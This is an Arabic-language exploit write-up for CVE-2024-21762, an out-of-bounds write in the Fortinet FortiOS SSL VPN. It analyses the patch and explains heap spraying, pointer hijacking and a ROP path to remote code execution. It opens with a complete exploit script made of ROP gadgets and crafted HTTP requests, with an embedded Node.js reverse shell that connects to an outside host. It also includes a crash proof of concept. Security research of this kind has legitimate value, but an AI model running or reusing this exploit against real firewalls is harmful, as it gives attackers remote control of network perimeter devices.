
ثغرة كتابة خارج الحدود في Fortinet FortiOS CVE-2024-21762
ثغرة كتابة خارج النطاق في Fortinet FortiOS ثغرة CVE-2024-21762
ssl_do_handshake_ptr = b"%60%ce%42%00%00%00%00%00"
getcwd_ptr = b"%70%62%2c%04%00%00%00%00"
pivot_1 = b"%52%f7%fd%00%00%00%00%00" # push rdi; pop rsp; ret;
pivot_2 = b"%ac%c9%ab%02%00%00%00%00" # add rsp, 0x2a0; pop rbx; pop r12; pop rbp; ret;
rop = b""
rop += b"%c6%e2%46%00%00%00%00%00" # push rdi; pop rax; ret;
rop += b"%19%6f%4d%01%00%00%00%00" # sub rax, 0x2c8; ret;
rop += b"%8e%b2%fe%01%00%00%00%00" # add rax, 0x10; ret;
rop += b"%63%db%ae%02%00%00%00%00" # pop rcx; ret;
rop += b"%00%00%00%00%00%00%00%00" # zero rcx
rop += b"%38%ad%98%02%00%00%00%00" # or rcx, rax; setne al; movzx eax, al; ret;
rop += b"%c6%52%86%02%00%00%00%00" # shl rax, 4; add rax, rdx; ret;
rop += b"%6e%d0%3f%01%00%00%00%00" # or rdx, rcx; ret; - rdx is zero so this is a copy
rop += b"%a4%df%98%02%00%00%00%00" # sub rdx, rax; mov rax, rdx; ret;
rop += b"%f5%2c%e6%00%00%00%00%00" # sub rax, 0x10; ret;
rop += b"%e4%e6%d7%01%00%00%00%00" # add rsi, rax; mov [rdi+8], rsi; ret;
rop += b"%10%1b%0a%01%00%00%00%00" # push rax; pop rdi; add eax, 0x5d5c415b; ret;
rop += b"%25%0f%8d%02%00%00%00%00" # pop r8; ret; 0x028d0f25
rop += b"%00%00%00%00%00%00%00%00" # r8
pivot_3 = b"%e0%3f%4d%02%00%00%00%00" # add rsp, 0xd90; pop rbx; pop r12; pop rbp; ret;
call_execl = b"%80%c1%43%00%00%00%00%00"
bin_node = b"/bin/node%00"
e_flag = b"-e%00"
js_payload = b'(function(){var net%3drequire("net"),cp%3drequire("child_process"),sh%3dcp.spawn("/bin/node",["-i"]);var client%3dnew net.Socket();client.connect(4242,"192.168.1.197",function(){client.pipe(sh.stdin);sh.stdout.pipe(client);sh.stderr.pipe(client);});return /a/;})();%00'
form_value = b""
form_value += b"B"*11 + bin_node + b"B"*6 + e_flag + b"B"*14 + js_payload
form_value += b"B"*438 + pivot_2 + getcwd_ptr
form_value += b"B"*32 + pivot_1
form_value += b"B"*168 + call_execl
form_value += b"B"*432 + ssl_do_handshake_ptr
form_value += b"B"*32 + rop + pivot_3
body = (b"B"*1808 + b"=" + form_value + b"&")*20
data = b"POST /remote/hostcheck_validate HTTP/1.1\r\n"
data += b"Host: 192.168.1.229\r\n"
data += f"Content-Length: {len(body)}\r\n".encode("utf-8")
data += b"\r\n"
data += body
ssock1 = make_sock(TARGET, PORT)
ssock1.sendall(data)
time.sleep(1)
ssock2 = make_sock(TARGET, PORT)
data = b"POST / HTTP/1.1\r\n"
data += b"Host: 192.168.1.229\r\n"
data += b"Transfer-Encoding: chunked\r\n"
data += b"\r\n"
data += b"0"*4137 + b"\0"
data += b"A"*1 + b"\r\n\r\n"
ssock2.sendall(data)
أصدرت FortiGate تحديثًا للنسخة في فبراير، لإصلاح عدة ثغرات متوسطة وعالية الخطورة. إحدى الثغرات شديدة الخطورة هي ثغرة كتابة خارج النطاق غير مصرح بها في SSL VPN. ويذكر تحذير الثغرة أن هذه الثغرة قد تُستغل في البرية (in the wild). ستقدم هذه المقالة تحليل المؤلف لعملية استغلال هذه الثغرة لتحقيق تنفيذ التعليمات البرمجية عن بُعد (RCE).

البيئة المستخدمة لتحليل الثغرة في هذه المقالة هي FGT_VM64-v7.4.2.F-build2571
بمقارنة ملفات النسخ المُصلحة (7.4.2 و 7.4.3)، أظهر التحليل أن كود الإصلاح يقع في الدالة sub_18F4980 (الإصدار 7.4.2).

بتحليل هذه الدالة، ليس من الصعب ملاحظة أن منطق هذه الدالة هو قراءة بيانات جسم طلب HTTP POST. وفي الوقت نفسه، يتم تحديد Transfer-Encoding وفقًا لترويسة الطلب سواء أكانت القراءة بتنسيق chunk أو بناءً على Content-Length. وفقًا لنتائج مقارنة مخطط تدفق التحكم (Control Flow Graph)، هناك تعديلان في الكود:
عند تحليل تنسيق chunk، يتم استدعاء ap_getline لقراءة طول الـ chunk والتحقق مما إذا كانت قيمة إرجاع ap_getline أكبر من 16. إذا كانت أكبر من 16، يعتبر طول chunk غير قانوني.

عند قراءة تذييل الـ chunk، يكون مصدر إزاحة كتابة \r\n هو إسناد line_off، قيمة line_off قبل الإصلاح كانت من *(_QWORD *)(a1 + 744)، وبعد الإصلاح تكون من قيمة إرجاع ap_getline.
بمتابعة التتبع للأمام، يمكن العثور على أن قيمة *(_QWORD *)(a1 + 744) هي طول حقل طول الـ chunk في أول تحقق.

بمتابعة التتبع للأمام، يمكن العثور على أن قيمة *(_QWORD *)(a1 + 744) هي طول حقل طول الـ chunk في أول تحقق.

في نفس الوقت، يمكن من خلال قراءة الكود معرفة أنه عندما تكون قيمة حقل طول الـ chunk تساوي 0 بعد فك الترميز السداسي العشري (hex decoding)، فإنه سيدخل في منطق قراءة تذييل الـ chunk.
بعد تحليل التصحيح، يمكننا استخلاص الاستنتاجات التالية:
ap_getline لقراءة تذييل الـ chunk، سيتم كتابة \r\n في المخزن المؤقت وفقًا لطول حقل طول الـ chunk.لذلك، إذا تم تمرير العديد من الأصفار في حقل طول الـ chunk، وكان طول الأصفار أكبر من نصف طول المخزن المؤقت المتبقي، سيتم تفعيل كتابة \r\n خارج النطاق. من خلال التصحيح، يمكننا معرفة أن المخزن المؤقت الهدف يقع على المكدس (الدالة sub_1A111E0)، ويتم تخزين عنوان الإرجاع عند الإزاحة 0x2028. إذا تمت كتابة \r\n عند الإزاحة 0x202e، فسيحدث انهيار بسبب عنوان غير قانوني عندما تعود الدالة لتنفيذ تعليمات استعادة rip.
PoC للانهيار:
pkt = b"""\
GET / HTTP/1.1
Host: %s
Transfer-Encoding: chunked
%s\r\n%s\r\n\r\n""" % (hostname.encode(), b"0"*((0x202e//2)-2), b"a")
ssock = create_ssock(hostname, port)
ssock.send(pkt)
ssock.recv(4096)
مشهد الانهيار:

من خلال تحليل سبب الثغرة، يمكن ملاحظة أن الثغرة يمكن استخدامها لكتابة وحدتي بايت \r\n خارج النطاق على المكدس، والمدى خارج النطاق قريب من 0x2000. نظرًا لأن المحتوى المكتوب محدود جدًا، لا يمكن تحقيق RCE عن طريق اختطاف rip مباشرة. لذلك، تحتاج إلى التركيز على مؤشرات الذاكرة المحفوظة على المكدس.
ما يسهل التفكير فيه هو اختطاف rbp والكتابة فوق البايت المنخفض من rbp بحيث يشير rbp إلى منطقة ذاكرة قابلة للتحكم. عندما تعود الدالة ذات المستوى الأعلى لتنفيذ التعليمات، يمكن اختطاف rip بالكامل. ومع ذلك، أثناء التحقق، تبيّن أنه حتى إذا تمت الكتابة فوق rbp الموجود على المكدس، لا يمكن اختطاف rsp وrip، ولن ينهار البرنامج حتى. بمتابعة التتبع إلى الأعلى، نجد الدالة الأم sub_1A26040. هذه الدالة لا تستدعي leave وret لاستعادة rsp عند العودة من sub_1A111E0، بل تستخدم مباشرة add rsp, 0x18، لذلك لا يمكن تحقيق التأثير المتوقع.

كما رأينا في القسم السابق، تحفظ الدالة قيم السجلات الخمسة rbx وr12-r15 على المكدس، وتستعيد هذه السجلات عندما تعود الدالة. بمتابعة التتبع للخلف للعثور على الدالة الأم sub_1A27650، يمكنك رؤية أن ما يُحفظ في r13 هو بالضبط معامل a1 للدالة sub_1A26040.
a1 هو مؤشر بنية (structure). من خلال التصحيح، يمكننا أيضًا رؤية أن عنوانًا من الكومة (heap) محفوظ على المكدس في r13.

إذا تمت الكتابة فوق الذاكرة الموجودة في المنطقة الحمراء في الشكل عن طريق الكتابة خارج النطاق، فسيتم استعادة سجل r13 عند عودة الدالة، ويمكن التلاعب بقيمة المؤشر. إذا كان يمكن تخطيط ذاكرة الكومة بحيث يشير a1 إلى منطقة ذاكرة مرتّبة مسبقًا، فيمكن اختطاف بنية a1 بأكملها. في نفس الوقت، من خلال تحليل منطق الكود لكل من sub_1A26040 وsub_1A27650، هناك عدد كبير من استدعاءات الدوال الديناميكية لأعضاء بنية a1 متعددة المستويات، لذلك ستكون هناك فرص أكثر لاختطاف a1.
وفقًا للافتراض، بعد الكتابة فوق البايت المنخفض من مؤشر a1 بواسطة \r\n، يمكن أن يشير إلى الذاكرة المرتبة مسبقًا. كما يوضح الشكل:

لتحقيق هذا التأثير، يجب استيفاء الشروط التالية:
عنوان بنية a1 أعلى من عنوان منطقة رش الكومة (heap spray)، والفجوة بينهما صغيرة جدًا.
يجب أن يشير 0x7fxxxxxxx0a0d إلى البنية المزيفة.
يمكن أن يجد التصحيح أن حجم بنية a1 هو 0x730. وفقًا لقواعد محاذاة jemalloc، سيتم تخصيص كتلة كومة بحجم 0x800. كتلة الكومة 0x800 ليست شائعة الاستخدام أثناء معالجة الطلبات، لذلك من السهل استنفاد كتل الكومة 0x800 في tcache، وفي نفس الوقت التقدم بطلب للحصول على كتل 0x800 جديدة، بحيث يمكنها الدخول إلى tcache بعد التحرير. يختار حقن الكومة أيضًا كتل كومة ذات أحجام غير شائعة بحيث تكون كتل الكومة المطلوبة حديثًا متصلة وقريبة من كتلة 0x800 المطلوبة حديثًا؛ يختار حقن الكومة استخدام كتل كومة أكبر لضمان محاذاة عناوينها مع 0x800، بحيث يسهل ضمان أن البتات الـ 12 المنخفضة من كل عنوان بنية مزيفة هي 0xa0d؛ نطاق رش الكومة لا يقل عن 0x10000 لضمان أنه يشير إلى منطقة رش الكومة. التأثير بعد الاختطاف هو كما يلي: 0x7fxxxxxxx0a0d

من خلال العمليات المذكورة أعلاه، يمكن تحقيق اختطاف بنية a1. بفرز كود الدالتين sub_1A27650 وsub_1A26040، هناك العديد من الاستدعاءات الديناميكية للمؤشر من المستوى الثاني والمؤشر من المستوى الثالث لأعضاء بنية a1، على سبيل المثال:

عندما يتحقق الشرط *(_BYTE *)(a1+0x20*(N+6)+0x10)&6==0 (حيث 0<N<5)، سيتم الاستدعاء ديناميكيًا *(__int64 (__fastcall **)(__int64))(*(_QWORD *)(*(_QWORD *)(a1 + 0x298)+0x70)+0xC0)(a1). لذلك، يجب تزييف العضو a1 + 0x298 كمؤشر متعدد المستويات، والذي يشير في النهاية إلى الدالة التي نريد استدعاءها. نظرًا لأن الملف الهدف لا يحتوي على حماية PIE مفعّلة، يمكنك العثور على مؤشرات متعددة المستويات مؤهلة في الملف الهدف. من خلال تحليل الملف، يمكننا أن نجد أن الأول يشير إلى عنوان جدول GOT للدالة المقابلة.


لذلك، باعتبار الدالة system مثالاً، يمكنك العثور على مؤشرات متعددة المستويات مؤهلة.

أثناء رش الكومة، تغيير القيمة عند الإزاحة 0x298 من البنية إلى 0x4368d0 يمكن استخدامه لاستدعاء دالة system. التأثير كما يلي:

كما هو موضح في الشكل، فإن معامل الاستدعاء الديناميكي هو بالضبط a1، والذاكرة التي يشير إليها قابلة للتحكم. عند هذه النقطة، يمكنك استخدام دالة system بشكل طبيعي لتنفيذ أي أمر. ومع ذلك، في FortiGate، لا يمتلك الملف /bin/sh القدرة على تنفيذ الأوامر، لذا فإن استخدام دالة system لتنفيذ الأوامر لن ينجح.
نظرًا لأن دالة system لا يمكنها تنفيذ الأوامر، يمكننا فقط إيجاد طرق أخرى لإكمال RCE. الشرط الموجود حاليًا هو أنه يمكن استدعاء أي دالة في جدول GOT، والذاكرة التي يشير إليها المعامل الأول للدالة قابلة للتحكم. لذلك، إذا كانت هناك دالة في جدول GOT تستدعي عضوًا معينًا من المعامل، فهناك فرصة لتحقيق اختطاف RIP. من السهل التفكير في الدوال التي كانت تُستخدم غالبًا في استغلالات FortiGate السابقة: SSL_do_handshake

تحتاج فقط إلى إنشاء بنية SSL بحيث يتحقق الشرط ويتم الاستدعاء النهائي s->handshake_func(s) لتحقيق اختطاف rip، واختطاف rip إلى 0xdeadbeef كما هو موضح في الشكل.

البرنامج الرئيسي لـ FortiGate هو ملف ثنائي All-in-One بحجم يتجاوز 70MB. هناك عدد كبير من الأدوات (gadgets) التي يمكن استخدامها. ليس من الصعب تنفيذ RCE باستخدام ROP، لذا لن أخوض في التفاصيل.
على الرغم من أن وضع الويب (web mode) معطّل افتراضيًا في إصدار SSL VPN 7.4.2 وأن الوصول عبر المتصفح يُرجع 403، إلا أنه لا يزال من الممكن استغلال هذه الثغرة في التكوين الافتراضي.

هذه الثغرة مشابهة لثغرة تجاوز سعة الكومة الناتجة عن XOR في العام الماضي (CVE-2023-27997). كلاهما ثغرات تجاوز تبدو عديمة الفائدة. عملية الاستغلال أكثر صعوبة وتشبه أسئلة CTF. ومع ذلك، مقارنة بمشاكل CTF التقليدية التي تهاجم مدير الكومة (heap manager)، تتطلب الثغرات الحقيقية استخدام المزيد من البنى السياقية ومنطق الكود لاستغلالها. مستوى المؤلف محدود. إذا كانت هناك أي أخطاء، فيرجى تصحيحي.